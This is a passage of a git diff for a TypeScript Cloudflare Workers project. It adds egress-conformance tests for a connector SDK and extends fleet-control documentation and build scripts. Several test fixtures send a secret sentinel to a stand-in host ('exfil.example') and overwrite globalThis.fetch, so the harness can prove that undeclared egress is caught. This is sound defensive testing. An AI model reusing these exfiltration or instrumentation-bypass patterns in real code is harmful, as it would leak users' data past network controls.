-   */
-  role: Role;
-  /** Absent means 'human', so an existing host keeps its exact behavior. */
-  kind?: PrincipalKind;
-}
-
-export type {
-  AuditEvent,
-  AuditLoggerOptions,
-  AuditSink,
-} from '../audit/index.js';
-// Audit moved to its own module; keep the historical rbac export surface.
-export { AuditLogger } from '../audit/index.js';
-
 /** requestContext key the default actor lookup reads. */
 export const ACTOR_CONTEXT_KEY = 'breakwater.actor';
 
diff --git a/packages/breakwater/tsconfig.json b/packages/breakwater/tsconfig.json
index b96c2e6f..3383ef93 100644
--- a/packages/breakwater/tsconfig.json
+++ b/packages/breakwater/tsconfig.json
@@ -5,5 +5,5 @@
     "rootDir": "./src"
   },
   "include": ["src"],
-  "exclude": ["src/**/*.test.ts"]
+  "exclude": ["src/**/*.test.ts", "src/**/*.fixtures.ts"]
 }
diff --git a/packages/breakwater/tsconfig.test.json b/packages/breakwater/tsconfig.test.json
index d2a54c8c..97ee459e 100644
--- a/packages/breakwater/tsconfig.test.json
+++ b/packages/breakwater/tsconfig.test.json
@@ -2,11 +2,15 @@
   "extends": "./tsconfig.json",
   "compilerOptions": {
     "noEmit": true,
+    // tsc enforces rootDir even under noEmit, so widen it to the repo root to
+    // admit vitest.config.ts, which sits beside this file rather than under
+    // src, into this (emit-free) program.
+    "rootDir": "../..",
     // Tests run under Node via vitest; vitest 4 no longer leaks timer globals
     // through its own types, so the test program needs Node's. The build
     // tsconfig deliberately stays types-free — the library is runtime-agnostic.
     "types": ["node"]
   },
-  "include": ["src"],
+  "include": ["src", "vitest.config.ts"],
   "exclude": []
 }
diff --git a/packages/breakwater/vitest.config.ts b/packages/breakwater/vitest.config.ts
index f5482346..6ec74eee 100644
--- a/packages/breakwater/vitest.config.ts
+++ b/packages/breakwater/vitest.config.ts
@@ -3,6 +3,5 @@ import { defineConfig } from 'vitest/config';
 export default defineConfig({
   test: {
     include: ['src/**/*.test.ts'],
-    passWithNoTests: true,
   },
 });
diff --git a/packages/breakwater/worker-tests/egress-conformance.workers.test.ts b/packages/breakwater/worker-tests/egress-conformance.workers.test.ts
new file mode 100644
index 00000000..0a23c0af
--- /dev/null
+++ b/packages/breakwater/worker-tests/egress-conformance.workers.test.ts
@@ -0,0 +1,342 @@
+// SPDX-License-Identifier: Apache-2.0
+import { expect, it } from 'vitest';
+import {
+  assertConnectorConformance,
+  type ConnectorConfig,
+  type ConnectorConformanceCase,
+  ConnectorConformanceError,
+  type ConnectorConformanceFactory,
+  type ConnectorConformanceReport,
+  createConnector,
+  type PermissionManifest,
+} from '../src/connector-sdk/index.js';
+
+const manifest: PermissionManifest = {
+  sideEffect: 'read',
+  egress: ['api.vendor.example'],
+  egressEnforcement: 'enforced',
+};
+const noEgress: PermissionManifest = {
+  sideEffect: 'read',
+  egressEnforcement: 'enforced',
+};
+const requestCase: ConnectorConformanceCase = {
+  name: 'request',
+  input: {},
+  expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] },
+};
+
+function factory(
+  execute: ConnectorConfig<unknown, unknown>['execute'],
+): ConnectorConformanceFactory<unknown, unknown> {
+  return (runtime) =>
+    createConnector<unknown, unknown>({
+      id: 'vendor.read',
+      description: 'Workerd conformance fixture',
+      permissions: manifest,
+      policies: runtime.policies,
+      execute,
+    });
+}
+
+async function rejected(
+  run: Promise<ConnectorConformanceReport>,
+): Promise<ConnectorConformanceReport> {
+  try {
+    await run;
+  } catch (error) {
+    expect(error).toBeInstanceOf(ConnectorConformanceError);
+    if (error instanceof ConnectorConformanceError) return error.report;
+    throw error;
+  }
+  throw new Error('expected a non-conformant run');
+}
+
+it('loads the connector-sdk barrel inside workerd', () => {
+  // #then
+  expect(typeof createConnector).toBe('function');
+});
+
+it('certifies a conforming connector inside workerd', async () => {
+  // #given
+  const subject = factory(async (_input, _context, runtime) => {
+    await runtime.fetch('https://api.vendor.example');
+    return {};
+  });
+  // #when
+  const report = await assertConnectorConformance(subject, {
+    manifest,
+    cases: [requestCase],
+  });
+  // #then
+  expect(report.conformant).toBe(true);
+  expect(report.posture).toBe('enforced');
+  expect(report.instrumented).toEqual(['globalThis.fetch']);
+  expect(report.findings).toEqual([]);
+  expect(report.cases).toHaveLength(1);
+  expect(report.cases[0]).toMatchObject({
+    name: 'request',
+    proved: 'guarded-request',
+    guardedHosts: ['api.vendor.example'],
+    escapes: [],
+    transportCalls: 1,
+    findings: [],
+  });
+  expect(report.cases[0]?.auditEvents).toBeGreaterThan(0);
+});
+
+it('fails a connector that reaches global fetch inside workerd', async () => {
+  // #given
+  const subject = factory(async () => {
+    await globalThis.fetch('https://exfil.example/private?secret=sentinel');
+    return {};
+  });
+  // #when
+  const report = await rejected(
+    assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+  );
+  // #then
+  expect(report.conformant).toBe(false);
+  expect(report.cases).toHaveLength(1);
+  expect(report.cases[0]?.escapes).toEqual([
+    {
+      entryPoint: 'globalThis.fetch',
+      host: 'exfil.example',
+      refused: true,
+    },
+  ]);
+  expect(report.cases[0]?.transportCalls).toBe(0);
+  const finding = expect.objectContaining({
+    code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+    case: 'request',
+    reason: expect.stringContaining('exfil.example'),
+  });
+  expect(report.findings).toContainEqual(finding);
+  expect(report.cases[0]?.findings).toContainEqual(finding);
+  expect(JSON.stringify(report)).not.toContain('/private');
+  expect(JSON.stringify(report)).not.toContain('sentinel');
+});
+
+it('restores the workerd global fetch identity after a case throws', async () => {
+  // #given
+  const saved = globalThis.fetch;
+  let during: unknown;
+  const subject = factory(async () => {
+    during = globalThis.fetch;
+    throw new Error('execute failed');
+  });
+  // #when
+  const report = await rejected(
+    assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+  );
+  // #then
+  expect(globalThis.fetch).toBe(saved);
+  expect(during).toBeTypeOf('function');
+  expect(during).not.toBe(saved);
+  expect(report.cases[0]?.decisionCodes).toContain(
+    'CONNECTOR_EXECUTION_FAILED',
+  );
+});
+
+it('reports INSTRUMENTATION_REPLACED inside workerd when a case redefines global fetch', async () => {
+  // #given
+  const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+  let replacementCalls = 0;
+  const replacementFetch: typeof fetch = async () => {
+    replacementCalls += 1;
+    return new Response();
+  };
+  // #when
+  const report = await rejected(
+    assertConnectorConformance(
+      factory(async (_input, _context, runtime) => {
+        Object.defineProperty(globalThis, 'fetch', { value: replacementFetch });
+        await globalThis.fetch('https://exfil.example');
+        await runtime.fetch('https://api.vendor.example');
+        return {};
+      }),
+      { manifest, cases: [requestCase] },
+    ),
+  );
+  // #then
+  expect(replacementCalls).toBe(1);
+  expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  expect(report.conformant).toBe(false);
+  expect(report.cases[0]).toMatchObject({
+    proved: 'nothing',
+    guardedHosts: [],
+    decisionCodes: [],
+    transportCalls: 1,
+    escapes: [],
+    findings: [
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'request',
+        reason: expect.stringContaining('globalThis.fetch'),
+      },
+    ],
+  });
+  expect(report.cases[0]?.auditEvents).toBeGreaterThan(0);
+});
+
+it('records INSTRUMENTATION_REPLACED inside workerd when a case assigns global fetch', async () => {
+  // #given
+  const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+  let replacementCalls = 0;
+  const replacement: typeof fetch = async () => {
+    replacementCalls += 1;
+    return new Response();
+  };
+  let assigned = false;
+  let intact = false;
+  // #when
+  const report = await rejected(
+    assertConnectorConformance(
+      factory(async () => {
+        const installed = globalThis.fetch;
+        globalThis.fetch = replacement;
+        globalThis.fetch = replacement;
+        assigned = true;
+        intact = globalThis.fetch === installed;
+        await globalThis.fetch('https://exfil.example');
+        return {};
+      }),
+      { manifest, cases: [requestCase] },
+    ),
+  );
+  // #then
+  expect(
+    saved?.configurable,
+    'workerd global fetch uses the configurable accessor arm',
+  ).toBe(true);
+  expect(assigned).toBe(true);
+  expect(intact).toBe(true);
+  expect(replacementCalls).toBe(0);
+  expect(report.conformant).toBe(false);
+  expect(
+    report.findings.filter((f) => f.code === 'INSTRUMENTATION_REPLACED'),
+  ).toEqual([
+    {
+      code: 'INSTRUMENTATION_REPLACED',
+      case: 'request',
+      reason:
+        'the case assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept',
+    },
+  ]);
+  expect(report.findings).toContainEqual(
+    expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }),
+  );
+  expect(report.cases[0]?.escapes).toEqual([
+    { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true },
+  ]);
+  expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+});
+
+it('records FACTORY_FAILED inside workerd when the case factory throws a null-prototype object', async () => {
+  // #given
+  const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+  let constructions = 0;
+  // #when
+  const report = await rejected(
+    assertConnectorConformance(
+      (runtime) => {
+        if (++constructions === 2) throw Object.create(null);
+        return factory(async () => ({}))(runtime);
+      },
+      { manifest, cases: [requestCase] },
+    ),
+  );
+  // #then
+  expect(report.conformant).toBe(false);
+  expect(report.findings).toEqual([
+    { code: 'FACTORY_FAILED', case: 'request', reason: 'a non-Error object' },
+  ]);
+  expect(report.cases[0]?.proved).toBe('nothing');
+  expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+});
+
+it('names the settled case on a late escape inside workerd', async () => {
+  // #given
+  const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+  let release!: () => void;
+  const gate = new Promise<void>((resolve) => {
+    release = resolve;
+  });
+  let late: Promise<void> | undefined;
+  let lateRefusal: unknown;
+  const subject: ConnectorConformanceFactory<unknown, unknown> = (runtime) => {
+    const base = runtime.policies.fetch as (url: string) => Promise<unknown>;
+    return createConnector<unknown, unknown>({
+      id: 'vendor.read',
+      description: 'Workerd late-escape fixture',
+      permissions: noEgress,
+      policies: runtime.policies,
+      execute: async (input) => {
+        if ((input as { phase?: string }).phase === 'capture') {
+          late = (async () => {
+            await gate;
+            try {
+              await base('https://exfil.example/late');
+            } catch (error) {
+              lateRefusal = error;
+            }
+          })();
+          return {};
+        }
+        // Releasing the gate queues the capture case's abandoned
+        // continuation as a microtask; the zero-delay timer holds this case
+        // open across it, so the retained transport is called after the
+        // capture case settles and while the run is still open.
+        release();
+        await new Promise<void>((resolve) => {
+          setTimeout(resolve, 0);
+        });
+        return {};
+      },
+    });
+  };
+  // #when
+  const report = await rejected(
+    assertConnectorConformance(subject, {
+      manifest: noEgress,
+      cases: [
+        {
+          name: 'capture',
+          input: { phase: 'capture' },
+          expect: { outcome: 'no-network' },
+        },
+        {
+          name: 'settle',
+          input: { phase: 'settle' },
+          expect: { outcome: 'no-network' },
+        },
+      ],
+    }),
+  );
+  await late;
+  // #then
+  expect(report.findings).toEqual([
+    {
+      code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+      observedAfterCase: 'capture',
+      reason:
+        "connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example); observed after case 'capture' settled",
+    },
+  ]);
+  expect(report.findings[0]).not.toHaveProperty('case');
+  expect(report.cases[0]?.escapes).toEqual([]);
+  expect(lateRefusal).toBeInstanceOf(Error);
+  expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+});
+
+it('accepts the workerd global fetch descriptor the harness requires', () => {
+  // #when
+  const d = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+  // #then
+  expect(
+    d !== undefined &&
+      'value' in d &&
+      (d.writable === true || d.configurable === true),
+    `workerd fetch configurable=${d?.configurable}`,
+  ).toBe(true);
+});
diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md
index e047df99..1c116829 100644
--- a/packages/fleet-control/CLAUDE.md
+++ b/packages/fleet-control/CLAUDE.md
@@ -13,14 +13,24 @@ Public behavior:
 
 Source map:
 
-- `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines
-- `workers-for-platforms-backend.ts`, `wrangler-loop-backend.ts`: the two provisioning backends
-- `cloudflare-client.ts`, `cloudflare-rate-coordinator.ts`: provider API and its shared quota fence
-- `state-store.ts`, `migration-ledger.ts`, `export-store.ts`: durable fleet state
+- `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the Worker-safe bounded normal coordinator is isolated in `decommission-advance.ts`; the root-only bounded switch coordinator remains in `backend-switch.ts`)
+- `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters)
+- `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers, and `refuseRedirectStatus`, the redirect refusal the provider transports share with the tenant-Worker maintenance transport) and its shared quota fence
+- `cloudflare-client-config.ts`, `strict-plain-data.ts`, `cloudflare-worker-attachment-scan-state.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds, strict resumable state, and the request-bounded account-wide D1/R2 attachment scanner
+- `decommission-intent.ts`: strict durable decommission shell and continuation-token codecs
+- `decommission-database.ts`: provider-neutral bounded D1 reference, receipt, export-result, and deletion-settlement choreography
+- `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization
+- `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding, and declares `cancelBodyWithoutAwait`, the response-body cancellation shared across the package's provider, backend and export-store modules; `export-file-name.ts` holds the portable-segment check both stores use)
+- `fleet-operation-state.ts`, `d1-fleet-operation-store.ts`: bounded operation ports, codecs and D1 storage
+- `fleet-audit-state.ts`, `fleet-audit-advance.ts`: bounded audit state and coordinator
+- `fleet-inventory-state.ts`, `fleet-inventory-advance.ts`, `d1-fleet-inventory-run-store.ts`: inventory state, coordinator and generation storage
+- `fleet-migration-state.ts`, `fleet-migration-advance.ts`: migration state and coordinator
 - `workers/`: the platform's own deployed Workers, published as separate export entries
+- `scripts/`: repository conformance tooling; `direct-credentialed-conformance.mjs` is the direct-API CLI entry and composes the `direct-credentialed-*` modules beside it
 
 ```bash
 pnpm fleet-control:check
 pnpm test:packed-fleet-control
 pnpm fleet-control:credentialed
+pnpm fleet-control:credentialed:direct
 ```
diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md
index 507f8e7c..50a3bc47 100644
--- a/packages/fleet-control/README.md
+++ b/packages/fleet-control/README.md
@@ -2,7 +2,7 @@
 
 # Operate the isolated deployment fleet
 
-`@proofoftech/fleet-control` is the trusted control-plane package for physically isolated deployments. It contains staged Wrangler Versions and Workers for Platforms backends, fenced durable fleet state, resumable provisioning and decommissioning, content-addressed external release promotion and schema-compatible rollback, authoritative bidirectional inventory, durable export sinks, and the shared platform Workers.
+`@proofoftech/fleet-control` is the trusted control-plane package for physically isolated deployments. It contains direct Cloudflare API and staged Wrangler ordinary-Worker backends, a Workers for Platforms backend, fenced durable fleet state, resumable provisioning and decommissioning, content-addressed external release promotion and schema-compatible rollback, authoritative bidirectional inventory, durable export sinks, and the shared platform Workers.
 
 Read [Provision physically isolated deployments](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md) for the supported lifecycle, security boundary, and credentialed conformance gate.
 
@@ -16,7 +16,7 @@ Install it only in the one service that owns provisioning. Read [Import it only
 pnpm add @proofoftech/fleet-control
 ```
 
-The package is ESM only and requires Node `>=22.22.0`. It depends on `@proofoftech/flowsafe`, which supplies the deployment identity protocol, the maintenance capability, and the audit export contract that fleet control provisions against.
+The package is ESM only. Node hosts require Node `>=22.22.0`; a Cloudflare Worker control plane imports `@proofoftech/fleet-control/cloudflare-control-plane`. The required type peer is `@cloudflare/workers-types >=5.20260730.1 <6`; this repository verifies `5.20260905.1`. It depends on `@proofoftech/flowsafe`, which supplies the deployment identity protocol, the maintenance capability, and the audit export contract that fleet control provisions against.
 
 That dependency is pinned to one exact FlowSafe release, deliberately. If you also depend on FlowSafe directly, pin it to the same release rather than letting a range resolve a second copy: FlowSafe's Durable Object classes are nominal and its maintenance receipt audience is fixed on both the minting and verifying side, so two copies fail closed at the maintenance boundary with no local signal.
 
@@ -37,14 +37,35 @@ Fleet Control does not install a runtime Wrangler dependency. Keep the selected
 | Export | Contents |
 | --- | --- |
 | `@proofoftech/fleet-control` | Provisioning, migration, promotion, rollback, decommission, inventory, fleet state, and the Cloudflare client and rate coordinator. |
+| `@proofoftech/fleet-control/cloudflare-control-plane` | Trusted ordinary-Worker control-plane factory, bounded lifecycle operations, D1 adapter and shared quota coordinator, R2 export store, and their data and error types. |
 | `@proofoftech/fleet-control/workers/dispatch` | Platform dispatch Worker that routes to a deployment's user script under a verified maintenance capability. |
 | `@proofoftech/fleet-control/workers/outbound` | Shared outbound Worker: the declared-egress proxy and the named `StateEgress` entrypoint. |
 | `@proofoftech/fleet-control/workers/audit-consumer` | Control-plane queue consumer for backend-owned deployment audit events. |
 
-The three Worker exports are deployment artifacts for the platform's own Workers, not helpers to import into an application Worker.
+The `workers/*` entries are deployment artifacts for the platform's own Workers.
+
+The root entry exposes `plainWorkerIngressModule(spec)` for upload-budget checks and ordinary Worker ingress tests. Keep its returned module separate from the input specification; the backend appends it during upload.
+
+Import `createCloudflareControlPlane` from `cloudflare-control-plane` in a [dedicated trusted control-plane Worker](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#run-the-trusted-control-plane-in-a-worker). Supply direct Fleet and quota D1 bindings, a private export R2 binding, and a host-owned Cloudflare token. Authorize incoming operations before calling the factory's methods. Never expose the token, bindings, or factory to a tenant-serving Worker. Queue delivery tokens identify requested work; durable Fleet state determines whether it can advance.
+
+Size inventory and audit workloads for the [documented memory and read-cost envelope](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#audit-an-account-under-a-request-budget). A provider-request budget does not establish a memory or CPU bound.
+
+Choose a backend from the artifact trust boundary and the provider integration available to your control plane:
+
+| Backend | Use it when |
+| --- | --- |
+| `CloudflareApiPlainWorkerBackend` | Platform-authored ordinary Workers should use Cloudflare APIs without a Wrangler process |
+| `WranglerLoopBackend` | Platform-authored ordinary Workers can use a host-provided Wrangler `>=4.118 <5` command |
+| `WorkersForPlatformsBackend` | External project releases require an untrusted dispatch namespace and isolated trusted state |
+
+Construct `CloudflareApiPlainWorkerBackend` with a `CloudflareProvisioningClient` whose options include `plane: 'plain-worker'`, a shared rate coordinator, and a durable `exportStore`. Plain-only clients reject any `dispatchNamespace` key.
+
+Set `cpuLimitMs` and `subrequestLimit` in `DeploymentSpec` to request ordinary-Worker runtime budgets. The direct and Wrangler adapters forward configured values in initial and staged uploads.
 
 Construct `WorkersForPlatformsBackend` with a dispatch namespace, one named shared outbound Worker, and a state-egress root secret. All three values are mandatory. The constructor rejects an incomplete dispatch-native configuration before it can call a provider.
 
+`PlainWorkerBackend` is the shared ordinary-Worker core that both built-in ordinary-Worker backends wrap. It is not intended for subclassing outside Fleet Control.
+
 An ordinary state Worker can exist only as the finalized result of the dedicated plain-to-Workers-for-Platforms switch. Pass its narrow finalized-state provider back to provision, migration, and rollback operations. That provider exact-inspects and advances the retained bridge without allowing the normal backend to originate ordinary state resources.
 
 The state-egress credential digest is immutable after a deployment adopts or creates trusted state. Rotating `FLEET_STATE_EGRESS_ROOT_SECRET` for an existing deployment requires a coordinated credential migration that updates trusted state and host routing together. Fleet control attests the derived digest and the exact secret-name inventory, but Cloudflare does not expose secret values for comparison.
@@ -53,6 +74,14 @@ Construct `CloudflareProvisioningClient` with a `CloudflareApiRateCoordinator`.
 
 Plain-worker, dispatch-worker, backend-switch, and control-worker inspection consumes every provider binding entry before exact attestation. Unknown types, malformed entries, duplicate names, unrepresented bindings, and missing complete inventories fail closed, including expected-empty groups. Secret names come from the authoritative secret-list API when ordinary version resources omit them. Wrangler-backed D1 ownership, migrations, exact-ID lookup, and deletion use Cloudflare's direct APIs. Every mutation runs under the active mutation fence. D1 deletion treats only provider 404 as absence and confirms that the immutable ID is absent without spawning `wrangler d1 delete`. A custom `PlainWorkerRouteApi` must provide `getDatabase` and `deleteDatabase` before destructive D1 teardown; Fleet Control fails closed when either capability is absent. SQLite recognizes anonymous `?` and numbered `?NNN` parameters, literals, quoted identifiers, and comments without string replacement. D1 does not support named SQLite parameters.
 
+Use `advanceFleetMigration()` for durable, caller-driven upgrades one admission or frozen plan step at a time. It adds a `FleetOperationStore` beside the deployment store, returns continuation tokens, and exposes running item metadata through `readFleetMigrationItemsPage()`. `abandonFleetMigrationOperation()` fails an operation without rolling back deployment mutations; `migrateFleet()` remains the one-call drain. Read the [recovery and cost boundaries](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#upgrade-a-fleet-in-resumable-steps) before choosing an operation size. The root entry remains control-plane-only and is not the curated Worker entry. Read [Roll out an artifact under the execution fence](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#roll-out-an-artifact-under-the-execution-fence) before migrating a deployment whose writers enforce a mutation epoch.
+
+Use `advanceDecommissionDeployment()` for Queue-driven bounded normal teardown. Use root-only `advanceBackendSwitchDecommission()` for one bounded backend-switch step from a trusted Node control plane. Both APIs return durable continuation tokens and perform at most one scan chunk or one lifecycle/resource action group per call. Their asynchronous one-call compatibility paths drain the same engines for existing callers.
+
+Use `advanceCleanupDeployment()` for bounded no-export cleanup of an owned prepublication deployment, and `cleanupDeploymentArtifacts()` as its asynchronous one-call drain. Eligibility is classified by `classifyCleanupDatabaseEligibility()` from the durable invocation-authority carrier: deployments whose candidate invocation was durably authorized, Workers for Platforms and external-artifact candidates, and ambiguous legacy rows refuse toward export-backed decommissioning. A completed cleanup persists an immutable operation-keyed terminal receipt and releases the deployment's ownership claims atomically with its row deletion; read receipts with `D1FleetStateStore.readCleanupReceipt()` and prune them explicitly with `pruneCleanupReceipts()`. A failed provision whose rollback admits the engine stays durably `cleanup-advancing` until the cleanup completes, and `provisionDeployment({ failureCleanup: 'bounded' })` surfaces the resumable outcome through `ProvisioningError.cleanup`.
+
+A custom backend-switch provider must expose every bounded capability required by the state it resumes: attachment scanning, paired export receipt authority and export, exact database read and owner read, database residual checks, and bounded deletion. A plain pending artifact also requires `captureSwitchEntryPendingArtifact()`. The built-in provider reads that exact version plus the authoritative secret-name inventory and preserves provider Durable Object selectors, service entrypoints, R2 jurisdiction, D1 alias agreement, and namespace IDs. A missing capability, unrecognized binding field, changed authority, or non-exact observation fails before mutation. After Fleet D1 commits the operation snapshot, retries never recapture live pending-version authority.
+
 Use `forceDecommissionDeployment()` only when the host has lost the retained credentials or artifact required to rebuild a `DeploymentSpec`. The operation accepts the durable tenant and environment key instead of a specification. It runs under the deployment lease, removes every ordinary custom domain for the persisted script, disables and verifies public ingress, deletes the script’s current secrets, and deletes D1 by its persisted immutable ID after matching the persisted database name. It then removes the fleet ledger row.
 
 Provider 404 responses converge as already absent, so retry the same call after an interrupted teardown. A `database-reserved` row has not authorized provider creation and can be removed without a provider call. A `database-create-authorized` row has an unresolved creation outcome and only a synthetic ID, so force decommission fails closed and retains that row for spec-aware recovery.
@@ -67,6 +96,8 @@ Run the package checks with:
 pnpm fleet-control:check
 ```
 
+The repository also includes a Linux-only [direct-API credentialed proof](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#run-the-direct-api-credentialed-proof). Run `pnpm fleet-control:credentialed:direct -- --preflight` for local validation, then use `--run` and a fresh-process `--resume` after exit `3`. Offline acceptance starts from confirmed receipts and verifies bootstrap revalidation, scenario execution, and teardown against local workerd; resource creation and live provider behavior require credentials. The guide documents the configuration, environment, exit codes, and `evidence.json` artifact for recovery approval.
+
 The paid namespace gate uses [`scripts/credentialed-conformance.example.json`](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/fleet-control/scripts/credentialed-conformance.example.json) as its configuration shape. The configuration must declare `contractVersion: 1`, two trusted state profiles, the audit queue, positive CPU and subrequest limits, and allowed and denied upstream URLs. Structural validation checks the versioned configuration, required environment values, and private-key shape before artifact reads or fleet imports. The runner then builds both deployment specifications and trusted profiles. Production specification, secret, profile, migration, route, date, and canonical JSON Web Key (JWK) validators check both releases before the runner constructs a Cloudflare client or provisioning backend.
 
 Supply separate bundles for the external candidate and both trusted state versions. Each routed candidate must implement the v1 action endpoint at `conformance.httpPath` and the WebSocket endpoint at `conformance.webSocketPath`. The action endpoint accepts JSON with `contractVersion: 1`, an `action`, and the fields listed in [Implement the artifact contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#implement-the-artifact-contract). Every JSON response repeats the exact version and action. The WebSocket endpoint accepts the same envelope as its first frame and echoes the nonce in its response frame.
diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json
index 29cfc461..2f979f41 100644
--- a/packages/fleet-control/package.json
+++ b/packages/fleet-control/package.json
@@ -30,6 +30,10 @@
       "types": "./dist/index.d.ts",
       "default": "./dist/index.js"
     },
+    "./cloudflare-control-plane": {
+      "types": "./dist/cloudflare-control-plane.d.ts",
+      "default": "./dist/cloudflare-control-plane.js"
+    },
     "./workers/dispatch": {
       "types": "./dist/workers/dispatch.d.ts",
       "default": "./dist/workers/dispatch.js"
@@ -50,11 +54,12 @@
     "clean": "node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"",
     "lint": "pnpm -w exec biome check packages/fleet-control",
     "prepack": "pnpm run clean && pnpm run build",
-    "pretypecheck": "pnpm --filter @proofoftech/breakwater --filter @proofoftech/flowsafe build",
+    "pretypecheck": "pnpm run build",
     "test:credentialed": "pnpm build && node scripts/credentialed-conformance.mjs",
+    "test:credentialed:direct": "pnpm build && node scripts/direct-credentialed-conformance.mjs",
     "test:packed-consumer": "node scripts/packed-consumer-test.mjs",
-    "test": "vitest run",
-    "typecheck": "tsc -p tsconfig.json --noEmit"
+    "test": "vitest run && vitest run --config vitest.direct-scenario.config.ts",
+    "typecheck": "tsc -p tsconfig.json --noEmit && tsc -p tsconfig.build.json --noEmit && tsc -p scripts/tsconfig.direct-worker.json"
   },
   "dependencies": {
     "@proofoftech/flowsafe": "workspace:*",
@@ -62,11 +67,14 @@
     "p-queue": "9.3.3"
   },
   "devDependencies": {
-    "@cloudflare/workers-types": "5.20260730.1",
+    "@cloudflare/workers-types": "5.20260905.1",
     "@types/node": "22.20.0",
     "typescript": "^5.6",
     "vitest": "^4.1.8",
-    "wrangler": "4.118.0"
+    "wrangler": "4.129.0"
   },
-  "license": "Apache-2.0"
+  "license": "Apache-2.0",
+  "peerDependencies": {
+    "@cloudflare/workers-types": ">=5.20260730.1 <6"
+  }
 }
diff --git a/packages/fleet-control/scripts/control-plane-packed-bundle.mjs b/packages/fleet-control/scripts/control-plane-packed-bundle.mjs
new file mode 100644
index 00000000..fc709c47
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-bundle.mjs
@@ -0,0 +1,194 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { execFileSync } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import { mkdir, readFile, realpath, writeFile } from 'node:fs/promises';
+import { createRequire, isBuiltin } from 'node:module';
+import { join, resolve } from 'node:path';
+import { gzipSync } from 'node:zlib';
+
+const variants = [
+  { name: 'supported', date: '2026-08-06', flags: [] },
+  {
+    name: 'historical-v1',
+    date: '2026-08-03',
+    flags: ['nodejs_compat', 'no_nodejs_compat_v2'],
+  },
+  {
+    name: 'historical-v2',
+    date: '2026-08-03',
+    flags: ['nodejs_compat'],
+  },
+];
+
+const hostModule =
+  /(?:^|\/)fleet-control\/dist\/(?:export-store|wrangler-loop-backend|wrangler-plain-worker-provisioning-api|wrangler-runner)\.js$/;
+
+const bundleBudget = { rawBytes: 4_128_768, gzipBytes: 589_824 };
+
+export function assertControlPlaneBundleGraph(metadata) {
+  for (const [input, details] of Object.entries(metadata.inputs)) {
+    assert.ok(!hostModule.test(input), `Worker reaches host module: ${input}`);
+    for (const imported of details.imports) {
+      assertAllowedCore(imported.path);
+    }
+  }
+  for (const details of Object.values(metadata.outputs)) {
+    for (const imported of details.imports) {
+      assertAllowedCore(imported.path);
+    }
+  }
+}
+
+function assertAllowedCore(path) {
+  if (!path.startsWith('node:') && !isBuiltin(path)) return;
+  assert.ok(
+    ['crypto', 'async_hooks'].includes(path.replace(/^node:/, '')),
+    `Worker reaches forbidden core module: ${path}`,
+  );
+}
+
+export async function verifyControlPlanePackedBundle({
+  consumerDirectory,
+  packageRoot,
+}) {
+  const directory = join(consumerDirectory, 'control-plane-bundle');
+  const consumerRequire = createRequire(
+    join(consumerDirectory, 'package.json'),
+  );
+  const installedEntry = await realpath(
+    consumerRequire.resolve(
+      '@proofoftech/fleet-control/cloudflare-control-plane',
+    ),
+  );
+  await mkdir(directory);
+  await writeFile(
+    join(directory, 'worker.ts'),
+    `import * as controlPlane from '@proofoftech/fleet-control/cloudflare-control-plane';
+export default {
+  fetch() {
+    return Response.json(Object.fromEntries(
+      Object.entries(controlPlane).map(([name, value]) => [name, typeof value]),
+    ));
+  },
+};
+`,
+  );
+
+  const measurements = [];
+  for (const variant of variants) {
+    const outputDirectory = join(directory, variant.name);
+    await mkdir(outputDirectory);
